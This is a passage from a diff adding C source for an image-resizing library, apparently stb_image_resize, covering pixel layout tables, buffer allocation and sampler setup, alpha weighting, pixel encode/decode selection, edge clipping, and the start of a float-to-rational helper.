+  1,2,3,3,4,   // 1ch, 2ch, rgb, bgr, 4ch
+  4,4,4,4,2,2, // RGBA,BGRA,ARGB,ABGR,RA,AR
+  4,4,4,4,2,2, // RGBA_PM,BGRA_PM,ARGB_PM,ABGR_PM,RA_PM,AR_PM
+};
+
+// the internal pixel layout enums are in a different order, so we can easily do range comparisons of types
+//   the public pixel layout is ordered in a way that if you cast num_channels (1-4) to the enum, you get something sensible
+static stbir_internal_pixel_layout stbir__pixel_layout_convert_public_to_internal[] = {
+  STBIRI_BGR, STBIRI_1CHANNEL, STBIRI_2CHANNEL, STBIRI_RGB, STBIRI_RGBA,
+  STBIRI_4CHANNEL, STBIRI_BGRA, STBIRI_ARGB, STBIRI_ABGR, STBIRI_RA, STBIRI_AR,
+  STBIRI_RGBA_PM, STBIRI_BGRA_PM, STBIRI_ARGB_PM, STBIRI_ABGR_PM, STBIRI_RA_PM, STBIRI_AR_PM,
+};
+
+static stbir__info * stbir__alloc_internal_mem_and_build_samplers( stbir__sampler * horizontal, stbir__sampler * vertical, stbir__contributors * conservative, stbir_pixel_layout input_pixel_layout_public, stbir_pixel_layout output_pixel_layout_public, int splits, int new_x, int new_y, int fast_alpha, void * user_data STBIR_ONLY_PROFILE_BUILD_GET_INFO )
+{
+  static char stbir_channel_count_index[8]={ 9,0,1,2, 3,9,9,4 };
+
+  stbir__info * info = 0;
+  void * alloced = 0;
+  size_t alloced_total = 0;
+  int vertical_first;
+  size_t decode_buffer_size, ring_buffer_length_bytes, ring_buffer_size, vertical_buffer_size;
+  int alloc_ring_buffer_num_entries;
+
+  int alpha_weighting_type = 0; // 0=none, 1=simple, 2=fancy
+  int conservative_split_output_size = stbir__get_max_split( splits, vertical->scale_info.output_sub_size );
+  stbir_internal_pixel_layout input_pixel_layout = stbir__pixel_layout_convert_public_to_internal[ input_pixel_layout_public ];
+  stbir_internal_pixel_layout output_pixel_layout = stbir__pixel_layout_convert_public_to_internal[ output_pixel_layout_public ];
+  int channels = stbir__pixel_channels[ input_pixel_layout ];
+  int effective_channels = channels;
+
+  // first figure out what type of alpha weighting to use (if any)
+  if ( ( horizontal->filter_enum != STBIR_FILTER_POINT_SAMPLE ) || ( vertical->filter_enum != STBIR_FILTER_POINT_SAMPLE ) ) // no alpha weighting on point sampling
+  {
+    if ( ( input_pixel_layout >= STBIRI_RGBA ) && ( input_pixel_layout <= STBIRI_AR ) && ( output_pixel_layout >= STBIRI_RGBA ) && ( output_pixel_layout <= STBIRI_AR ) )
+    {
+      if ( fast_alpha )
+      {
+        alpha_weighting_type = 4;
+      }
+      else
+      {
+        static int fancy_alpha_effective_cnts[6] = { 7, 7, 7, 7, 3, 3 };
+        alpha_weighting_type = 2;
+        effective_channels = fancy_alpha_effective_cnts[ input_pixel_layout - STBIRI_RGBA ];
+      }
+    }
+    else if ( ( input_pixel_layout >= STBIRI_RGBA_PM ) && ( input_pixel_layout <= STBIRI_AR_PM ) && ( output_pixel_layout >= STBIRI_RGBA ) && ( output_pixel_layout <= STBIRI_AR ) )
+    {
+      // input premult, output non-premult
+      alpha_weighting_type = 3;
+    }
+    else if ( ( input_pixel_layout >= STBIRI_RGBA ) && ( input_pixel_layout <= STBIRI_AR ) && ( output_pixel_layout >= STBIRI_RGBA_PM ) && ( output_pixel_layout <= STBIRI_AR_PM ) )
+    {
+      // input non-premult, output premult
+      alpha_weighting_type = 1;
+    }
+  }
+
+  // channel in and out count must match currently
+  if ( channels != stbir__pixel_channels[ output_pixel_layout ] )
+    return 0;
+
+  // get vertical first
+  vertical_first = stbir__should_do_vertical_first( stbir__compute_weights[ (int)stbir_channel_count_index[ effective_channels ] ], horizontal->filter_pixel_width, horizontal->scale_info.scale, horizontal->scale_info.output_sub_size, vertical->filter_pixel_width, vertical->scale_info.scale, vertical->scale_info.output_sub_size, vertical->is_gather, STBIR__V_FIRST_INFO_POINTER );
+
+  // sometimes read one float off in some of the unrolled loops (with a weight of zero coeff, so it doesn't have an effect)
+  //   we use a few extra floats instead of just 1, so that input callback buffer can overlap with the decode buffer without
+  //   the conversion routines overwriting the callback input data.
+  decode_buffer_size = ( conservative->n1 - conservative->n0 + 1 ) * effective_channels * sizeof(float) + sizeof(float)*STBIR_INPUT_CALLBACK_PADDING; // extra floats for input callback stagger
+
+#if defined( STBIR__SEPARATE_ALLOCATIONS ) && defined(STBIR_SIMD8)
+  if ( effective_channels == 3 )
+    decode_buffer_size += sizeof(float); // avx in 3 channel mode needs one float at the start of the buffer (only with separate allocations)
+#endif
+
+  ring_buffer_length_bytes = (size_t)horizontal->scale_info.output_sub_size * (size_t)effective_channels * sizeof(float) + sizeof(float)*STBIR_INPUT_CALLBACK_PADDING; // extra floats for padding
+
+  // if we do vertical first, the ring buffer holds a whole decoded line
+  if ( vertical_first )
+    ring_buffer_length_bytes = ( decode_buffer_size + 15 ) & ~15;
+
+  if ( ( ring_buffer_length_bytes & 4095 ) == 0 ) ring_buffer_length_bytes += 64*3; // avoid 4k alias
+
+  // One extra entry because floating point precision problems sometimes cause an extra to be necessary.
+  alloc_ring_buffer_num_entries = vertical->filter_pixel_width + 1;
+
+  // we never need more ring buffer entries than the scanlines we're outputting when in scatter mode
+  if ( ( !vertical->is_gather ) && ( alloc_ring_buffer_num_entries > conservative_split_output_size ) )
+    alloc_ring_buffer_num_entries = conservative_split_output_size;
+
+  ring_buffer_size = (size_t)alloc_ring_buffer_num_entries * (size_t)ring_buffer_length_bytes;
+
+  // The vertical buffer is used differently, depending on whether we are scattering
+  //   the vertical scanlines, or gathering them.
+  //   If scattering, it's used at the temp buffer to accumulate each output.
+  //   If gathering, it's just the output buffer.
+  vertical_buffer_size = (size_t)horizontal->scale_info.output_sub_size * (size_t)effective_channels * sizeof(float) + sizeof(float);  // extra float for padding
+
+  // we make two passes through this loop, 1st to add everything up, 2nd to allocate and init
+  for(;;)
+  {
+    int i;
+    void * advance_mem = alloced;
+    int copy_horizontal = 0;
+    stbir__sampler * possibly_use_horizontal_for_pivot = 0;
+
+#ifdef STBIR__SEPARATE_ALLOCATIONS
+    #define STBIR__NEXT_PTR( ptr, size, ntype ) if ( alloced ) { void * p = STBIR_MALLOC( size, user_data); if ( p == 0 ) { stbir__free_internal_mem( info ); return 0; } (ptr) = (ntype*)p; }
+#else
+    #define STBIR__NEXT_PTR( ptr, size, ntype ) advance_mem = (void*) ( ( ((size_t)advance_mem) + 15 ) & ~15 ); if ( alloced ) ptr = (ntype*)advance_mem; advance_mem = (char*)(((size_t)advance_mem) + (size));
+#endif
+
+    STBIR__NEXT_PTR( info, sizeof( stbir__info ), stbir__info );
+
+    STBIR__NEXT_PTR( info->split_info, sizeof( stbir__per_split_info ) * splits, stbir__per_split_info );
+
+    if ( info )
+    {
+      static stbir__alpha_weight_func * fancy_alpha_weights[6]  =    { stbir__fancy_alpha_weight_4ch,   stbir__fancy_alpha_weight_4ch,   stbir__fancy_alpha_weight_4ch,   stbir__fancy_alpha_weight_4ch,   stbir__fancy_alpha_weight_2ch,   stbir__fancy_alpha_weight_2ch };
+      static stbir__alpha_unweight_func * fancy_alpha_unweights[6] = { stbir__fancy_alpha_unweight_4ch, stbir__fancy_alpha_unweight_4ch, stbir__fancy_alpha_unweight_4ch, stbir__fancy_alpha_unweight_4ch, stbir__fancy_alpha_unweight_2ch, stbir__fancy_alpha_unweight_2ch };
+      static stbir__alpha_weight_func * simple_alpha_weights[6] = { stbir__simple_alpha_weight_4ch, stbir__simple_alpha_weight_4ch, stbir__simple_alpha_weight_4ch, stbir__simple_alpha_weight_4ch, stbir__simple_alpha_weight_2ch, stbir__simple_alpha_weight_2ch };
+      static stbir__alpha_unweight_func * simple_alpha_unweights[6] = { stbir__simple_alpha_unweight_4ch, stbir__simple_alpha_unweight_4ch, stbir__simple_alpha_unweight_4ch, stbir__simple_alpha_unweight_4ch, stbir__simple_alpha_unweight_2ch, stbir__simple_alpha_unweight_2ch };
+
+      // initialize info fields
+      info->alloced_mem = alloced;
+      info->alloced_total = alloced_total;
+
+      info->channels = channels;
+      info->effective_channels = effective_channels;
+
+      info->offset_x = new_x;
+      info->offset_y = new_y;
+      info->alloc_ring_buffer_num_entries = (int)alloc_ring_buffer_num_entries;
+      info->ring_buffer_num_entries = 0;
+      info->ring_buffer_length_bytes = (int)ring_buffer_length_bytes;
+      info->splits = splits;
+      info->vertical_first = vertical_first;
+
+      info->input_pixel_layout_internal = input_pixel_layout;
+      info->output_pixel_layout_internal = output_pixel_layout;
+
+      // setup alpha weight functions
+      info->alpha_weight = 0;
+      info->alpha_unweight = 0;
+
+      // handle alpha weighting functions and overrides
+      if ( alpha_weighting_type == 2 )
+      {
+        // high quality alpha multiplying on the way in, dividing on the way out
+        info->alpha_weight = fancy_alpha_weights[ input_pixel_layout - STBIRI_RGBA ];
+        info->alpha_unweight = fancy_alpha_unweights[ output_pixel_layout - STBIRI_RGBA ];
+      }
+      else if ( alpha_weighting_type == 4 )
+      {
+        // fast alpha multiplying on the way in, dividing on the way out
+        info->alpha_weight = simple_alpha_weights[ input_pixel_layout - STBIRI_RGBA ];
+        info->alpha_unweight = simple_alpha_unweights[ output_pixel_layout - STBIRI_RGBA ];
+      }
+      else if ( alpha_weighting_type == 1 )
+      {
+        // fast alpha on the way in, leave in premultiplied form on way out
+        info->alpha_weight = simple_alpha_weights[ input_pixel_layout - STBIRI_RGBA ];
+      }
+      else if ( alpha_weighting_type == 3 )
+      {
+        // incoming is premultiplied, fast alpha dividing on the way out - non-premultiplied output
+        info->alpha_unweight = simple_alpha_unweights[ output_pixel_layout - STBIRI_RGBA ];
+      }
+
+      // handle 3-chan color flipping, using the alpha weight path
+      if ( ( ( input_pixel_layout == STBIRI_RGB ) && ( output_pixel_layout == STBIRI_BGR ) ) ||
+           ( ( input_pixel_layout == STBIRI_BGR ) && ( output_pixel_layout == STBIRI_RGB ) ) )
+      {
+        // do the flipping on the smaller of the two ends
+        if ( horizontal->scale_info.scale < 1.0f )
+          info->alpha_unweight = stbir__simple_flip_3ch;
+        else
+          info->alpha_weight = stbir__simple_flip_3ch;
+      }
+
+    }
+
+    // get all the per-split buffers
+    for( i = 0 ; i < splits ; i++ )
+    {
+      STBIR__NEXT_PTR( info->split_info[i].decode_buffer, decode_buffer_size, float );
+
+#ifdef STBIR__SEPARATE_ALLOCATIONS
+
+      #ifdef STBIR_SIMD8
+      if ( ( info ) && ( effective_channels == 3 ) )
+        ++info->split_info[i].decode_buffer; // avx in 3 channel mode needs one float at the start of the buffer
+      #endif
+
+      STBIR__NEXT_PTR( info->split_info[i].ring_buffers, alloc_ring_buffer_num_entries * sizeof(float*), float* );
+      {
+        int j;
+        for( j = 0 ; j < alloc_ring_buffer_num_entries ; j++ )
+        {
+          STBIR__NEXT_PTR( info->split_info[i].ring_buffers[j], ring_buffer_length_bytes, float );
+          #ifdef STBIR_SIMD8
+          if ( ( info ) && ( effective_channels == 3 ) )
+            ++info->split_info[i].ring_buffers[j]; // avx in 3 channel mode needs one float at the start of the buffer
+          #endif
+        }
+      }
+#else
+      STBIR__NEXT_PTR( info->split_info[i].ring_buffer, ring_buffer_size, float );
+#endif
+      STBIR__NEXT_PTR( info->split_info[i].vertical_buffer, vertical_buffer_size, float );
+    }
+
+    // alloc memory for to-be-pivoted coeffs (if necessary)
+    if ( vertical->is_gather == 0 )
+    {
+      size_t both;
+      size_t temp_mem_amt;
+
+      // when in vertical scatter mode, we first build the coefficients in gather mode, and then pivot after,
+      //   that means we need two buffers, so we try to use the decode buffer and ring buffer for this. if that
+      //   is too small, we just allocate extra memory to use as this temp.
+
+      both = (size_t)vertical->gather_prescatter_contributors_size + (size_t)vertical->gather_prescatter_coefficients_size;
+
+#ifdef STBIR__SEPARATE_ALLOCATIONS
+      temp_mem_amt = decode_buffer_size;
+
+      #ifdef STBIR_SIMD8
+      if ( effective_channels == 3 )
+        --temp_mem_amt; // avx in 3 channel mode needs one float at the start of the buffer
+      #endif
+#else
+      temp_mem_amt = (size_t)( decode_buffer_size + ring_buffer_size + vertical_buffer_size ) * (size_t)splits;
+#endif
+      if ( temp_mem_amt >= both )
+      {
+        if ( info )
+        {
+          vertical->gather_prescatter_contributors = (stbir__contributors*)info->split_info[0].decode_buffer;
+          vertical->gather_prescatter_coefficients = (float*) ( ( (char*)info->split_info[0].decode_buffer ) + vertical->gather_prescatter_contributors_size );
+        }
+      }
+      else
+      {
+        // ring+decode memory is too small, so allocate temp memory
+        STBIR__NEXT_PTR( vertical->gather_prescatter_contributors, vertical->gather_prescatter_contributors_size, stbir__contributors );
+        STBIR__NEXT_PTR( vertical->gather_prescatter_coefficients, vertical->gather_prescatter_coefficients_size, float );
+      }
+    }
+
+    STBIR__NEXT_PTR( horizontal->contributors, horizontal->contributors_size, stbir__contributors );
+    STBIR__NEXT_PTR( horizontal->coefficients, horizontal->coefficients_size, float );
+
+    // are the two filters identical?? (happens a lot with mipmap generation)
+    if ( ( horizontal->filter_kernel == vertical->filter_kernel ) && ( horizontal->filter_support == vertical->filter_support ) && ( horizontal->edge == vertical->edge ) && ( horizontal->scale_info.output_sub_size == vertical->scale_info.output_sub_size ) )
+    {
+      float diff_scale = horizontal->scale_info.scale - vertical->scale_info.scale;
+      float diff_shift = horizontal->scale_info.pixel_shift - vertical->scale_info.pixel_shift;
+      if ( diff_scale < 0.0f ) diff_scale = -diff_scale;
+      if ( diff_shift < 0.0f ) diff_shift = -diff_shift;
+      if ( ( diff_scale <= stbir__small_float ) && ( diff_shift <= stbir__small_float ) )
+      {
+        if ( horizontal->is_gather == vertical->is_gather )
+        {
+          copy_horizontal = 1;
+          goto no_vert_alloc;
+        }
+        // everything matches, but vertical is scatter, horizontal is gather, use horizontal coeffs for vertical pivot coeffs
+        possibly_use_horizontal_for_pivot = horizontal;
+      }
+    }
+
+    STBIR__NEXT_PTR( vertical->contributors, vertical->contributors_size, stbir__contributors );
+    STBIR__NEXT_PTR( vertical->coefficients, vertical->coefficients_size, float );
+
+   no_vert_alloc:
+
+    if ( info )
+    {
+      STBIR_PROFILE_BUILD_START( horizontal );
+
+      stbir__calculate_filters( horizontal, 0, user_data STBIR_ONLY_PROFILE_BUILD_SET_INFO );
+
+      // setup the horizontal gather functions
+      // start with defaulting to the n_coeffs functions (specialized on channels and remnant leftover)
+      info->horizontal_gather_channels = stbir__horizontal_gather_n_coeffs_funcs[ effective_channels ][ horizontal->extent_info.widest & 3 ];
+      // but if the number of coeffs <= 12, use another set of special cases. <=12 coeffs is any enlarging resize, or shrinking resize down to about 1/3 size
+      if ( horizontal->extent_info.widest <= 12 )
+        info->horizontal_gather_channels = stbir__horizontal_gather_channels_funcs[ effective_channels ][ horizontal->extent_info.widest - 1 ];
+
+      info->scanline_extents.conservative.n0 = conservative->n0;
+      info->scanline_extents.conservative.n1 = conservative->n1;
+
+      // get exact extents
+      stbir__get_extents( horizontal, &info->scanline_extents );
+
+      // pack the horizontal coeffs
+      horizontal->coefficient_width = stbir__pack_coefficients(horizontal->num_contributors, horizontal->contributors, horizontal->coefficients, horizontal->coefficient_width, horizontal->extent_info.widest, info->scanline_extents.conservative.n0, info->scanline_extents.conservative.n1 );
+
+      STBIR_MEMCPY( &info->horizontal, horizontal, sizeof( stbir__sampler ) );
+
+      STBIR_PROFILE_BUILD_END( horizontal );
+
+      if ( copy_horizontal )
+      {
+        STBIR_MEMCPY( &info->vertical, horizontal, sizeof( stbir__sampler ) );
+      }
+      else
+      {
+        STBIR_PROFILE_BUILD_START( vertical );
+
+        stbir__calculate_filters( vertical, possibly_use_horizontal_for_pivot, user_data STBIR_ONLY_PROFILE_BUILD_SET_INFO );
+        STBIR_MEMCPY( &info->vertical, vertical, sizeof( stbir__sampler ) );
+
+        STBIR_PROFILE_BUILD_END( vertical );
+      }
+
+      // setup the vertical split ranges
+      stbir__get_split_info( info->split_info, info->splits, info->vertical.scale_info.output_sub_size, info->vertical.filter_pixel_margin, info->vertical.scale_info.input_full_size, info->vertical.is_gather, info->vertical.contributors );
+
+      // now we know precisely how many entries we need
+      info->ring_buffer_num_entries = info->vertical.extent_info.widest;
+
+      // we never need more ring buffer entries than the scanlines we're outputting
+      if ( ( !info->vertical.is_gather ) && ( info->ring_buffer_num_entries > conservative_split_output_size ) )
+        info->ring_buffer_num_entries = conservative_split_output_size;
+      STBIR_ASSERT( info->ring_buffer_num_entries <= info->alloc_ring_buffer_num_entries );
+    }
+    #undef STBIR__NEXT_PTR
+
+
+    // is this the first time through loop?
+    if ( info == 0 )
+    {
+      alloced_total = ( 15 + (size_t)advance_mem );
+      alloced = STBIR_MALLOC( alloced_total, user_data );
+      if ( alloced == 0 )
+        return 0;
+    }
+    else
+      return info;  // success
+  }
+}
+
+static int stbir__perform_resize( stbir__info const * info, int split_start, int split_count )
+{
+  stbir__per_split_info * split_info = info->split_info + split_start;
+
+  STBIR_PROFILE_CLEAR_EXTRAS();
+
+  STBIR_PROFILE_FIRST_START( looping );
+  if (info->vertical.is_gather)
+    stbir__vertical_gather_loop( info, split_info, split_count );
+  else
+    stbir__vertical_scatter_loop( info, split_info, split_count );
+  STBIR_PROFILE_END( looping );
+
+  return 1;
+}
+
+static void stbir__update_info_from_resize( stbir__info * info, STBIR_RESIZE * resize )
+{
+  static stbir__decode_pixels_func * decode_simple[STBIR_TYPE_HALF_FLOAT-STBIR_TYPE_UINT8_SRGB+1]=
+  {
+    /* 1ch-4ch */ stbir__decode_uint8_srgb, stbir__decode_uint8_srgb, 0, stbir__decode_float_linear, stbir__decode_half_float_linear,
+  };
+
+  static stbir__decode_pixels_func * decode_alphas[STBIRI_AR-STBIRI_RGBA+1][STBIR_TYPE_HALF_FLOAT-STBIR_TYPE_UINT8_SRGB+1]=
+  {
+    { /* RGBA */ stbir__decode_uint8_srgb4_linearalpha,      stbir__decode_uint8_srgb,      0, stbir__decode_float_linear,      stbir__decode_half_float_linear },
+    { /* BGRA */ stbir__decode_uint8_srgb4_linearalpha_BGRA, stbir__decode_uint8_srgb_BGRA, 0, stbir__decode_float_linear_BGRA, stbir__decode_half_float_linear_BGRA },
+    { /* ARGB */ stbir__decode_uint8_srgb4_linearalpha_ARGB, stbir__decode_uint8_srgb_ARGB, 0, stbir__decode_float_linear_ARGB, stbir__decode_half_float_linear_ARGB },
+    { /* ABGR */ stbir__decode_uint8_srgb4_linearalpha_ABGR, stbir__decode_uint8_srgb_ABGR, 0, stbir__decode_float_linear_ABGR, stbir__decode_half_float_linear_ABGR },
+    { /* RA   */ stbir__decode_uint8_srgb2_linearalpha,      stbir__decode_uint8_srgb,      0, stbir__decode_float_linear,      stbir__decode_half_float_linear },
+    { /* AR   */ stbir__decode_uint8_srgb2_linearalpha_AR,   stbir__decode_uint8_srgb_AR,   0, stbir__decode_float_linear_AR,   stbir__decode_half_float_linear_AR },
+  };
+
+  static stbir__decode_pixels_func * decode_simple_scaled_or_not[2][2]=
+  {
+    { stbir__decode_uint8_linear_scaled,  stbir__decode_uint8_linear }, { stbir__decode_uint16_linear_scaled, stbir__decode_uint16_linear },
+  };
+
+  static stbir__decode_pixels_func * decode_alphas_scaled_or_not[STBIRI_AR-STBIRI_RGBA+1][2][2]=
+  {
+    { /* RGBA */ { stbir__decode_uint8_linear_scaled,       stbir__decode_uint8_linear },      { stbir__decode_uint16_linear_scaled,      stbir__decode_uint16_linear } },
+    { /* BGRA */ { stbir__decode_uint8_linear_scaled_BGRA,  stbir__decode_uint8_linear_BGRA }, { stbir__decode_uint16_linear_scaled_BGRA, stbir__decode_uint16_linear_BGRA } },
+    { /* ARGB */ { stbir__decode_uint8_linear_scaled_ARGB,  stbir__decode_uint8_linear_ARGB }, { stbir__decode_uint16_linear_scaled_ARGB, stbir__decode_uint16_linear_ARGB } },
+    { /* ABGR */ { stbir__decode_uint8_linear_scaled_ABGR,  stbir__decode_uint8_linear_ABGR }, { stbir__decode_uint16_linear_scaled_ABGR, stbir__decode_uint16_linear_ABGR } },
+    { /* RA   */ { stbir__decode_uint8_linear_scaled,       stbir__decode_uint8_linear },      { stbir__decode_uint16_linear_scaled,      stbir__decode_uint16_linear } },
+    { /* AR   */ { stbir__decode_uint8_linear_scaled_AR,    stbir__decode_uint8_linear_AR },   { stbir__decode_uint16_linear_scaled_AR,   stbir__decode_uint16_linear_AR } }
+  };
+
+  static stbir__encode_pixels_func * encode_simple[STBIR_TYPE_HALF_FLOAT-STBIR_TYPE_UINT8_SRGB+1]=
+  {
+    /* 1ch-4ch */ stbir__encode_uint8_srgb, stbir__encode_uint8_srgb, 0, stbir__encode_float_linear, stbir__encode_half_float_linear,
+  };
+
+  static stbir__encode_pixels_func * encode_alphas[STBIRI_AR-STBIRI_RGBA+1][STBIR_TYPE_HALF_FLOAT-STBIR_TYPE_UINT8_SRGB+1]=
+  {
+    { /* RGBA */ stbir__encode_uint8_srgb4_linearalpha,      stbir__encode_uint8_srgb,      0, stbir__encode_float_linear,      stbir__encode_half_float_linear },
+    { /* BGRA */ stbir__encode_uint8_srgb4_linearalpha_BGRA, stbir__encode_uint8_srgb_BGRA, 0, stbir__encode_float_linear_BGRA, stbir__encode_half_float_linear_BGRA },
+    { /* ARGB */ stbir__encode_uint8_srgb4_linearalpha_ARGB, stbir__encode_uint8_srgb_ARGB, 0, stbir__encode_float_linear_ARGB, stbir__encode_half_float_linear_ARGB },
+    { /* ABGR */ stbir__encode_uint8_srgb4_linearalpha_ABGR, stbir__encode_uint8_srgb_ABGR, 0, stbir__encode_float_linear_ABGR, stbir__encode_half_float_linear_ABGR },
+    { /* RA   */ stbir__encode_uint8_srgb2_linearalpha,      stbir__encode_uint8_srgb,      0, stbir__encode_float_linear,      stbir__encode_half_float_linear },
+    { /* AR   */ stbir__encode_uint8_srgb2_linearalpha_AR,   stbir__encode_uint8_srgb_AR,   0, stbir__encode_float_linear_AR,   stbir__encode_half_float_linear_AR }
+  };
+
+  static stbir__encode_pixels_func * encode_simple_scaled_or_not[2][2]=
+  {
+    { stbir__encode_uint8_linear_scaled,  stbir__encode_uint8_linear }, { stbir__encode_uint16_linear_scaled, stbir__encode_uint16_linear },
+  };
+
+  static stbir__encode_pixels_func * encode_alphas_scaled_or_not[STBIRI_AR-STBIRI_RGBA+1][2][2]=
+  {
+    { /* RGBA */ { stbir__encode_uint8_linear_scaled,       stbir__encode_uint8_linear },       { stbir__encode_uint16_linear_scaled,      stbir__encode_uint16_linear } },
+    { /* BGRA */ { stbir__encode_uint8_linear_scaled_BGRA,  stbir__encode_uint8_linear_BGRA },  { stbir__encode_uint16_linear_scaled_BGRA, stbir__encode_uint16_linear_BGRA } },
+    { /* ARGB */ { stbir__encode_uint8_linear_scaled_ARGB,  stbir__encode_uint8_linear_ARGB },  { stbir__encode_uint16_linear_scaled_ARGB, stbir__encode_uint16_linear_ARGB } },
+    { /* ABGR */ { stbir__encode_uint8_linear_scaled_ABGR,  stbir__encode_uint8_linear_ABGR },  { stbir__encode_uint16_linear_scaled_ABGR, stbir__encode_uint16_linear_ABGR } },
+    { /* RA   */ { stbir__encode_uint8_linear_scaled,       stbir__encode_uint8_linear },       { stbir__encode_uint16_linear_scaled,      stbir__encode_uint16_linear } },
+    { /* AR   */ { stbir__encode_uint8_linear_scaled_AR,    stbir__encode_uint8_linear_AR },    { stbir__encode_uint16_linear_scaled_AR,   stbir__encode_uint16_linear_AR } }
+  };
+
+  stbir__decode_pixels_func * decode_pixels = 0;
+  stbir__encode_pixels_func * encode_pixels = 0;
+  stbir_datatype input_type, output_type;
+
+  input_type = resize->input_data_type;
+  output_type = resize->output_data_type;
+  info->input_data = resize->input_pixels;
+  info->input_stride_bytes = resize->input_stride_in_bytes;
+  info->output_stride_bytes = resize->output_stride_in_bytes;
+
+  // if we're completely point sampling, then we can turn off SRGB
+  if ( ( info->horizontal.filter_enum == STBIR_FILTER_POINT_SAMPLE ) && ( info->vertical.filter_enum == STBIR_FILTER_POINT_SAMPLE ) )
+  {
+    if ( ( ( input_type  == STBIR_TYPE_UINT8_SRGB ) || ( input_type  == STBIR_TYPE_UINT8_SRGB_ALPHA ) ) &&
+         ( ( output_type == STBIR_TYPE_UINT8_SRGB ) || ( output_type == STBIR_TYPE_UINT8_SRGB_ALPHA ) ) )
+    {
+      input_type = STBIR_TYPE_UINT8;
+      output_type = STBIR_TYPE_UINT8;
+    }
+  }
+
+  // recalc the output and input strides
+  if ( info->input_stride_bytes == 0 )
+    info->input_stride_bytes = info->channels * info->horizontal.scale_info.input_full_size * stbir__type_size[input_type];
+
+  if ( info->output_stride_bytes == 0 )
+    info->output_stride_bytes = info->channels * info->horizontal.scale_info.output_sub_size * stbir__type_size[output_type];
+
+  // calc offset
+  info->output_data = ( (char*) resize->output_pixels ) + ( (size_t) info->offset_y * (size_t) resize->output_stride_in_bytes ) + ( info->offset_x * info->channels * stbir__type_size[output_type] );
+
+  info->in_pixels_cb = resize->input_cb;
+  info->user_data = resize->user_data;
+  info->out_pixels_cb = resize->output_cb;
+
+  // setup the input format converters
+  if ( ( input_type == STBIR_TYPE_UINT8 ) || ( input_type == STBIR_TYPE_UINT16 ) )
+  {
+    int non_scaled = 0;
+
+    // check if we can run unscaled - 0-255.0/0-65535.0 instead of 0-1.0 (which is a tiny bit faster when doing linear 8->8 or 16->16)
+    if ( ( !info->alpha_weight ) && ( !info->alpha_unweight )  ) // don't short circuit when alpha weighting (get everything to 0-1.0 as usual)
+      if ( ( ( input_type == STBIR_TYPE_UINT8 ) && ( output_type == STBIR_TYPE_UINT8 ) ) || ( ( input_type == STBIR_TYPE_UINT16 ) && ( output_type == STBIR_TYPE_UINT16 ) ) )
+        non_scaled = 1;
+
+    if ( info->input_pixel_layout_internal <= STBIRI_4CHANNEL )
+      decode_pixels = decode_simple_scaled_or_not[ input_type == STBIR_TYPE_UINT16 ][ non_scaled ];
+    else
+      decode_pixels = decode_alphas_scaled_or_not[ ( info->input_pixel_layout_internal - STBIRI_RGBA ) % ( STBIRI_AR-STBIRI_RGBA+1 ) ][ input_type == STBIR_TYPE_UINT16 ][ non_scaled ];
+  }
+  else
+  {
+    if ( info->input_pixel_layout_internal <= STBIRI_4CHANNEL )
+      decode_pixels = decode_simple[ input_type - STBIR_TYPE_UINT8_SRGB ];
+    else
+      decode_pixels = decode_alphas[ ( info->input_pixel_layout_internal - STBIRI_RGBA ) % ( STBIRI_AR-STBIRI_RGBA+1 ) ][ input_type - STBIR_TYPE_UINT8_SRGB ];
+  }
+
+  // setup the output format converters
+  if ( ( output_type == STBIR_TYPE_UINT8 ) || ( output_type == STBIR_TYPE_UINT16 ) )
+  {
+    int non_scaled = 0;
+
+    // check if we can run unscaled - 0-255.0/0-65535.0 instead of 0-1.0 (which is a tiny bit faster when doing linear 8->8 or 16->16)
+    if ( ( !info->alpha_weight ) && ( !info->alpha_unweight ) ) // don't short circuit when alpha weighting (get everything to 0-1.0 as usual)
+      if ( ( ( input_type == STBIR_TYPE_UINT8 ) && ( output_type == STBIR_TYPE_UINT8 ) ) || ( ( input_type == STBIR_TYPE_UINT16 ) && ( output_type == STBIR_TYPE_UINT16 ) ) )
+        non_scaled = 1;
+
+    if ( info->output_pixel_layout_internal <= STBIRI_4CHANNEL )
+      encode_pixels = encode_simple_scaled_or_not[ output_type == STBIR_TYPE_UINT16 ][ non_scaled ];
+    else
+      encode_pixels = encode_alphas_scaled_or_not[ ( info->output_pixel_layout_internal - STBIRI_RGBA ) % ( STBIRI_AR-STBIRI_RGBA+1 ) ][ output_type == STBIR_TYPE_UINT16 ][ non_scaled ];
+  }
+  else
+  {
+    if ( info->output_pixel_layout_internal <= STBIRI_4CHANNEL )
+      encode_pixels = encode_simple[ output_type - STBIR_TYPE_UINT8_SRGB ];
+    else
+      encode_pixels = encode_alphas[ ( info->output_pixel_layout_internal - STBIRI_RGBA ) % ( STBIRI_AR-STBIRI_RGBA+1 ) ][ output_type - STBIR_TYPE_UINT8_SRGB ];
+  }
+
+  info->input_type = input_type;
+  info->output_type = output_type;
+  info->decode_pixels = decode_pixels;
+  info->encode_pixels = encode_pixels;
+}
+
+static void stbir__clip( int * outx, int * outsubw, int outw, double * u0, double * u1 )
+{
+  double per, adj;
+  int over;
+
+  // do left/top edge
+  if ( *outx < 0 )
+  {
+    per = ( (double)*outx ) / ( (double)*outsubw ); // is negative
+    adj = per * ( *u1 - *u0 );
+    *u0 -= adj; // increases u0
+    *outx = 0;
+  }
+
+  // do right/bot edge
+  over = outw - ( *outx + *outsubw );
+  if ( over < 0 )
+  {
+    per = ( (double)over ) / ( (double)*outsubw ); // is negative
+    adj = per * ( *u1 - *u0 );
+    *u1 += adj; // decrease u1
+    *outsubw = outw - *outx;
+  }
+}
+
+// converts a double to a rational that has less than one float bit of error (returns 0 if unable to do so)
+static int stbir__double_to_rational(double f, stbir_uint32 limit, stbir_uint32 *numer, stbir_uint32 *denom, int limit_denom ) // limit_denom (1) or limit numer (0)
+{
+  double err;
+  stbir_uint64 top, bot;
+  stbir_uint64 numer_last = 0;
+  stbir_uint64 denom_last = 1;
+  stbir_uint64 numer_estimate = 1;
+  stbir_uint64 denom_estimate = 0;
+
+  // scale to past float error range
+  top = (stbir_uint64)( f * (double)(1 << 25) );
+  bot = 1 << 25;
+
+  // keep refining, but usually stops in a few loops - usually 5 for bad cases
+  for(;;)
+  {
+    stbir_uint64 est, temp;
+
+    // hit limit, break out and do best full range estimate
+    if ( ( ( limit_denom ) ? denom_estimate : numer_estimate ) >= limit )
+      break;
+
+    // is the current error less than 1 bit of a float? if so, we're done
+    if ( denom_estimate )
+    {
+      err = ( (double)numer_estimate / (double)denom_estimate ) - f;
+      if ( err < 0.0 ) err = -err;
+      if ( err < ( 1.0 / (double)(1<<24) ) )
+      {
+        // yup, found it
+        *numer = (stbir_uint32) numer_estimate;
